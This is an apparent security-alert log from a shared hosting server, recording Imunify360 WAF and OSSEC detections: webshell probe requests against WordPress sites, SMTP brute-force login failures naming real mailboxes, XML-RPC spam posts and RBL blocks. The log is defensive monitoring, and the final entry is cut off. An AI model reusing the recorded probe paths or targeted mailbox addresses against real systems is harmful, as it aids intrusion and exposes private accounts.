IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/themes/clean-commerce/third-party/images/sliders/cdn-cgi/l/index.php||SC:/home/sutsbcom/public_html/wp-content/themes/clean-commerce||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.40
country_id: 2921044
description:
Jan 20 23:33:19 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.40 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 20 23:35:38 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.8.150
country_id: 3175395
description:
Jan 20 23:37:51 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.8.150 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.8.150
country_id: 3175395
description:
Jan 20 23:37:58 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.8.150 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-20 23:39:06 H=([45.144.212.242]) [45.144.212.242]:58599 F=<no_reply@admin.com> rejected RCPT <bengkok.lim@acburn.com.my>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.41
country_id: 2921044
description:
Jan 20 23:39:26 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.41 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 152.44.107.102
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:23-40.152.44.107.102||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.85.156.214
country_id: 3469034
description:
2026-01-20 23:41:09 dovecot_login authenticator failed for H=177.85.156.214.reverso.biazitelecom.com.br (213.5.130.181) [177.85.156.214]:53617: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.0.30.45
country_id: 1210997
description:
2026-01-20 23:41:21 dovecot_login authenticator failed for H=(213.5.130.104) [123.0.30.45]:44316: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 82.215.109.153
country_id: 1512440
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/maennchen/zipstream-php/test/BigintTest.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 79.106.124.167
country_id: 783754
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/laravel/framework/src/Illuminate/Queue HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.25.70.35
country_id: 1562822
description:
2026-01-20 23:44:53 dovecot_login authenticator failed for H=(185.180.223.155) [123.25.70.35]:37529: 535 Incorrect authentication data (set_id=mdnaser@grandteknik.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 20 23:44:53 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 85.65.159.189
country_id: 294640
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/mockery/mockery/docs/reference/expectations.rst HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.127.0.188
country_id: 1210997
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/event-dispatcher/Tests/EventDispatcherTest.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.104.179
country_id: 3469034
description:
Jan 20 23:52:52 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.104.179 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.104.179
country_id: 3469034
description:
Jan 20 23:53:00 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.104.179 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.105.176
country_id: 3469034
description:
Jan 20 23:54:26 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.105.176 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.168.150
country_id: 3175395
description:
Jan 20 23:54:49 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.168.150 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.168.150
country_id: 3175395
description:
Jan 20 23:54:56 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.168.150 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.19.220.57
country_id: 6252001
description:
2026-01-20 23:56:46 dovecot_plain authenticator failed for H=([10.6.18.236]) [37.19.220.57]:37955: 535 Incorrect authentication data (set_id=premalata@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.124.17.160
country_id: 6252001
description:
2026-01-20 23:56:10 dovecot_plain authenticator failed for H=([10.30.18.194]) [91.124.17.160]:7042: 535 Incorrect authentication data (set_id=premalata@mckd.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 20 23:57:36 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 205.210.31.170
country_id: 6252001
description:
Jan 20 23:57:43 sv3 pure-ftpd[2036291]: (?@205.210.31.170) [INFO] New connection from 205.210.31.170


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.19.220.57
country_id: 6252001
description:
2026-01-20 23:57:00 dovecot_plain authenticator failed for H=([10.6.18.236]) [37.19.220.57]:63762: 535 Incorrect authentication data (set_id=premalata@mckd.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/languages/images/faq.php||SC:/home/sutsbcom/public_html/wp-content/languages||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.23.89.242
country_id: 3469034
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/introduceisland/504/463149 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.106
country_id: 690791
description:
2026-01-20 23:59:20 H=([77.83.39.106]) [77.83.39.106]:49613 F=<harshit.m@lizindia.com> rejected RCPT <enquiry@ms-chemicals.net>: SPF: 77.83.39.106 is not allowed to send mail from lizindia.com


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 156.146.60.159
country_id: 2782113
description:
2026-01-21 00:00:50 dovecot_login authenticator failed for H=(user) [156.146.60.159]:25491: 535 Incorrect authentication data


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 147.185.132.64
country_id: 6252001
description:
2026-01-21  0:01:24 437400 [Warning] Aborted connection 437400 to db: 'unconnected' user: 'unauthenticated' host: '147.185.132.64' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 00:06:51 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 152.58.17.182
country_id: 1269750
domain: tujusetia.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.tujusetia.my||ServerName:tujusetia.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:0776addc5a0c3df9a115aec0e72b262d51da0c57||Title:0xcaa5eb48||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 74.244.5.218
country_id: 3996063
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=599376 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 198.235.24.59
country_id: 6252001
description:
2026-01-21  0:09:38 437719 [Warning] Aborted connection 437719 to db: 'unconnected' user: 'unauthenticated' host: '198.235.24.59' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.250
country_id: 2921044
description:
Jan 21 00:09:00 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.250 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.63
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/fphortier/images/introduction-service.php||SC:/home/sutsbcom/public_html/fphortier||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.187.78.189
country_id: 1269750
description:
2026-01-21 00:11:29 dovecot_login authenticator failed for H=([103.187.78.189]) [103.187.78.189]:45232: 535 Incorrect authentication data (set_id=ratanam@maalloys.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.187.78.189
country_id: 1269750
description:
Jan 21 00:11:27 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.187.78.189 has been locked due to Imunify RBL


plugin: ossec
rule: 11313
name: FTP file uploaded to server
abuser: 175.143.202.161
country_id: 1733045
description:
Jan 21 00:11:29 sv3 pure-ftpd[2045587]: (oxboldc@175.143.202.161) [NOTICE] /home/oxboldc//public_html/images/charts/oxbold-clients-world-map.jpg uploaded  (116123 bytes, 4541.49KB/sec)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.139.124.120
country_id: 1835841
description:
Jan 21 00:11:42 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.139.124.120 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 152.58.17.182
country_id: 1269750
domain: tujusetia.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.tujusetia.my||ServerName:tujusetia.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:62a4bf38197aa4ad4905204d1b11b2d95364c189||Title:0x1500396c||RSV:7.64||T:APACHE||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 175.143.202.161
country_id: 1733045
description:
Jan 21 00:11:02 sv3 pure-ftpd[2045454]: (?@175.143.202.161) [INFO] New connection from 175.143.202.161


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.139.124.120
country_id: 1835841
description:
2026-01-21 00:11:44 dovecot_login authenticator failed for H=([125.139.124.120]) [125.139.124.120]:59582: 535 Incorrect authentication data (set_id=weisiong.wan@tujusetia.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.139.124.120
country_id: 1835841
description:
Jan 21 00:12:11 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.139.124.120 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.139.124.120
country_id: 1835841
description:
2026-01-21 00:12:13 dovecot_login authenticator failed for H=([125.139.124.120]) [125.139.124.120]:35200: 535 Incorrect authentication data (set_id=weisiong.wan@tujusetia.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 73.208.81.125
country_id: 6252001
description:
Jan 21 00:13:34 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 73.208.81.125 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.172.54.243
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=45151515376407 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 152.58.17.182
country_id: 1269750
domain: tujusetia.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.tujusetia.my||ServerName:tujusetia.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:71c7aa737c1382ebb24ef89889da36da467a8f75||Title:0xf0b2ca03||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.208.81.125
country_id: 6252001
description:
2026-01-21 00:13:36 dovecot_plain authenticator failed for H=c-73-208-81-125.hsd1.in.comcast.net (tible) [73.208.81.125]:57284: 535 Incorrect authentication data (set_id=salesi@chs.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/languages/images/cdn-cgi/l/products.php||SC:/home/sutsbcom/public_html/wp-content/languages||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 72.56.188.109
country_id: 2017370
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:00-15.72.56.188.109||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 152.58.17.182
country_id: 1269750
domain: tujusetia.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.tujusetia.my||ServerName:tujusetia.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:6392eac66e8c78d28066011b5ec7023b22267d36||Title:0x61fd91c2||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.63
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/images/rpl.php||SC:/home/sutsbcom/public_html/wp-content/images||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 152.58.17.182
country_id: 1269750
domain: tujusetia.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.tujusetia.my||ServerName:tujusetia.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:606e9eb4993b6429739c03ccf9baf8668421ed8d||Title:0xd169b2dc||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 152.58.17.182
country_id: 1269750
domain: tujusetia.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.tujusetia.my||ServerName:tujusetia.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:37bbbb9da1f6ec85acbb722c03b90516971d6255||Title:0x86356cdb||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.35.178.104
country_id: 732800
description:
Jan 21 00:17:38 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.35.178.104 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.35.178.104
country_id: 732800
description:
2026-01-21 00:17:40 dovecot_plain authenticator failed for H=(mingople) [46.35.178.104]:36118: 535 Incorrect authentication data (set_id=ww.teo@figofoods.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.101
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/img/img/demos/img/img/img/img/news.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.90.185.44
country_id: 2921044
description:
2026-01-21 00:18:41 H=([77.90.185.44]) [77.90.185.44]:60823 F=<adnan.mahmood@oasisfussionservices.com> rejected RCPT <myloo@euratech.com.my>: Mail to myloo@euratech.com.my has been suspended


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 124.122.128.123
country_id: 1605651
domain: oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/oxbold.com/windsurfingmalaysia-tnc.htm HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 152.58.17.182
country_id: 1269750
domain: tujusetia.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.tujusetia.my||ServerName:tujusetia.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:1242b92df6b659a9fd920d405ab9e2ffadfdbb52||Title:0xc73b5eac||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 152.58.17.182
country_id: 1269750
domain: tujusetia.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.tujusetia.my||ServerName:tujusetia.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:6ca29e922589a458894ad133b2a9250d2486afb5||Title:0x04871564||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.187.191.124
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=1&sub=35 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 118.101.70.144
country_id: 1733045
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/black/9/669/939730 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 142.111.71.164
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:00-25.142.111.71.164||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 00:28:50 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.254.166
country_id: 6252001
description:
2026-01-21 00:31:31 dovecot_login authenticator failed for H=(uPId1axW) [165.154.254.166]:61166: 535 Incorrect authentication data (set_id=apm1)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.237.188.58
country_id: 3469034
description:
Jan 21 00:32:04 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.237.188.58 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.254.166
country_id: 6252001
description:
2026-01-21 00:32:07 dovecot_login authenticator failed for H=(ravu4hCb8M) [165.154.254.166]:49279: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.254.166
country_id: 6252001
description:
2026-01-21 00:33:03 dovecot_login authenticator failed for H=(OoELEkkp) [165.154.254.166]:60584: 535 Incorrect authentication data


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 162.142.125.214
country_id: 6252001
description:
2026-01-21  0:34:02 438890 [Warning] Aborted connection 438890 to db: 'unconnected' user: 'unauthenticated' host: '162.142.125.214' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.254.166
country_id: 6252001
description:
2026-01-21 00:34:11 dovecot_login authenticator failed for H=(MwhzZ8) [165.154.254.166]:59912: 535 Incorrect authentication data


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.254.166
country_id: 6252001
description:
2026-01-21 00:33:59 dovecot_login authenticator failed for H=(yT3iB5) [165.154.254.166]:56117: 535 Incorrect authentication data


plugin: ossec
rule: 11313
name: FTP file uploaded to server
abuser: 175.143.202.161
country_id: 1733045
description:
Jan 21 00:35:37 sv3 pure-ftpd[2063351]: (oxboldc@175.143.202.161) [NOTICE] /home/oxboldc//public_html/companyprofile.htm uploaded  (54859 bytes, 3416.02KB/sec)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.254.166
country_id: 6252001
description:
2026-01-21 00:35:07 dovecot_login authenticator failed for H=(ZbyLLcOyXY) [165.154.254.166]:53620: 535 Incorrect authentication data


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 175.143.202.161
country_id: 1733045
description:
Jan 21 00:35:27 sv3 pure-ftpd[2063343]: (?@175.143.202.161) [INFO] New connection from 175.143.202.161


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.254.166
country_id: 6252001
description:
2026-01-21 00:36:03 dovecot_login authenticator failed for H=(snOdhj2Lb) [165.154.254.166]:49864: 535 Incorrect authentication data


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.254.166
country_id: 6252001
description:
2026-01-21 00:36:37 dovecot_login authenticator failed for H=(yXwFUgU5) [165.154.254.166]:58428: 535 Incorrect authentication data


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 175.143.202.161
country_id: 1733045
description:
Jan 21 00:36:38 sv3 pure-ftpd[2063943]: (?@175.143.202.161) [INFO] New connection from 175.143.202.161


plugin: ossec
rule: 11313
name: FTP file uploaded to server
abuser: 175.143.202.161
country_id: 1733045
description:
Jan 21 00:36:38 sv3 pure-ftpd[2063943]: (oxboldc@175.143.202.161) [NOTICE] /home/oxboldc//public_html/images/icons/checked-green-circle.gif uploaded  (25440 bytes, 2655.92KB/sec)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.254.166
country_id: 6252001
description:
2026-01-21 00:37:00 dovecot_login authenticator failed for H=(gQUh2TSMnR) [165.154.254.166]:63105: 535 Incorrect authentication data


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 169.224.6.30
country_id: 99237
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/end/379/491030 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.254.166
country_id: 6252001
description:
2026-01-21 00:38:07 dovecot_login authenticator failed for H=(n2B8n7oxJ) [165.154.254.166]:60040: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.254.166
country_id: 6252001
description:
2026-01-21 00:39:04 dovecot_login authenticator failed for H=(EJpSF9) [165.154.254.166]:54619: 535 Incorrect authentication data


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.254.166
country_id: 6252001
description:
2026-01-21 00:39:15 dovecot_login authenticator failed for H=(mfTsROofJ) [165.154.254.166]:56418: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.254.166
country_id: 6252001
description:
2026-01-21 00:40:00 dovecot_login authenticator failed for H=(Q9hplcoCx) [165.154.254.166]:64522: 535 Incorrect authentication data


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.40
country_id: 2921044
description:
Jan 21 00:40:42 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.40 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.254.166
country_id: 6252001
description:
2026-01-21 00:41:53 dovecot_login authenticator failed for H=(L2eM3e4vL) [165.154.254.166]:55186: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.254.166
country_id: 6252001
description:
2026-01-21 00:40:56 dovecot_login authenticator failed for H=(S7pCUkvR) [165.154.254.166]:60383: 535 Incorrect authentication data


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 00:41:25 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.254.166
country_id: 6252001
description:
2026-01-21 00:42:04 dovecot_login authenticator failed for H=(NFfPRkP) [165.154.254.166]:57083: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 172.206.111.104
country_id: 6252001
description:
2026-01-21 00:43:47 dovecot_login authenticator failed for H=(ADMIN) [172.206.111.104]:52722: 535 Incorrect authentication data (set_id=krish@maalloys.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.254.166
country_id: 6252001
description:
2026-01-21 00:43:00 dovecot_login authenticator failed for H=(2NKvnjr) [165.154.254.166]:53415: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.254.166
country_id: 6252001
description:
2026-01-21 00:43:57 dovecot_login authenticator failed for H=(vm2YeLY6bL) [165.154.254.166]:63443: 535 Incorrect authentication data


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.254.166
country_id: 6252001
description:
2026-01-21 00:44:31 dovecot_login authenticator failed for H=(fxK0VEnn) [165.154.254.166]:54316: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.254.166
country_id: 6252001
description:
2026-01-21 00:45:04 dovecot_login authenticator failed for H=(XLIrKom) [165.154.254.166]:62374: 535 Incorrect authentication data


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.41
country_id: 2921044
description:
Jan 21 00:45:31 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.41 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.254.166
country_id: 6252001
description:
2026-01-21 00:46:01 dovecot_login authenticator failed for H=(3QSTca) [165.154.254.166]:55683: 535 Incorrect authentication data


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 216.26.250.182
country_id: 6251999
domain: www.snymetalstamping.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:00-47.216.26.250.182||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.254.166
country_id: 6252001
description:
2026-01-21 00:46:57 dovecot_login authenticator failed for H=(b7Vbp5WQ3) [165.154.254.166]:51024: 535 Incorrect authentication data


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.254.166
country_id: 6252001
description:
2026-01-21 00:47:09 dovecot_login authenticator failed for H=(SkVder) [165.154.254.166]:53155: 535 Incorrect authentication data


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 104.207.44.118
country_id: 6252001
domain: www.snymetalstamping.com
description:
